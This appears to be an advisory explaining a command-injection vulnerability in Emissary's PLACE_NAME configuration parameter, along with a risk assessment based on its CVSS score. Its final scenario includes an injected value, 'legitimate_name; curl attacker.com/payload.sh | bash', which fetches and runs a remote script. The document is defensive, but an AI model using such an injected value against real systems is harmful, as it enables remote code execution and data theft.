Emissary CVE-2026-35581

Requires high-privilege administrative access to Emissary versions prior to 8.39.0. Attacker must configure or modify the PLACE_NAME parameter in Emissary's configuration to inject shell metacharacters (;, |, $, `, (, ), etc.). Exploitation occurs when Executrix utility processes workflow commands using this malicious configuration.

Real-world exploitation risk requires careful contextualization of conflicting severity signals. The CVSS 7.2 High score indicates significant impact potential (complete confidentiality, integrity, and availability compromise per C:H/I:H/A:H), with network attack vector (AV:N) and low complexity (AC:L) suggesting ease of exploitation once access is obtained. However, the critical limiting factor is the PR:H (high privileges required) constraint, meaning only authenticated administrators can exploit this vulnerability. This substantially reduces the realistic threat surface compared to unauthenticated remote code execution vulnerabilities. In enterprise environments where administrative access follows principle of least privilege and monitoring practices, exploitation requires either insider threat or prior credential compromise. The attack is not automatable at scale due to authentication requirements. EPSS probability data is unavailable for assessment, and no CISA KEV listing exists indicating active exploitation campaigns. The vulnerability's severity stems from post-exploitation impact rather than accessibility-if an attacker has already compromised administrator credentials, this provides an additional command execution vector within the Emissary workflow engine context. Organizations should prioritize patching based on whether Emissary handles sensitive data workflows and the strength of existing administrative access controls.

An attacker who has compromised Emissary administrator credentials (through phishing, credential stuffing, or lateral movement) modifies the PLACE_NAME configuration parameter to include malicious shell metacharacters, such as setting PLACE_NAME to legitimate_name; curl attacker.com/payload.sh | bash. When the Executrix utility constructs the next shell command for workflow execution, the insufficient sanitization allows the injected commands to execute under the Emissary process context via /bin/sh -c, enabling the attacker to exfiltrate sensitive workflow data, establish persistent backdoors, or pivot to connected systems within the P2P network. The low attack complexity (AC:L) means exploitation requires only basic command injection knowledge once administrative access exists.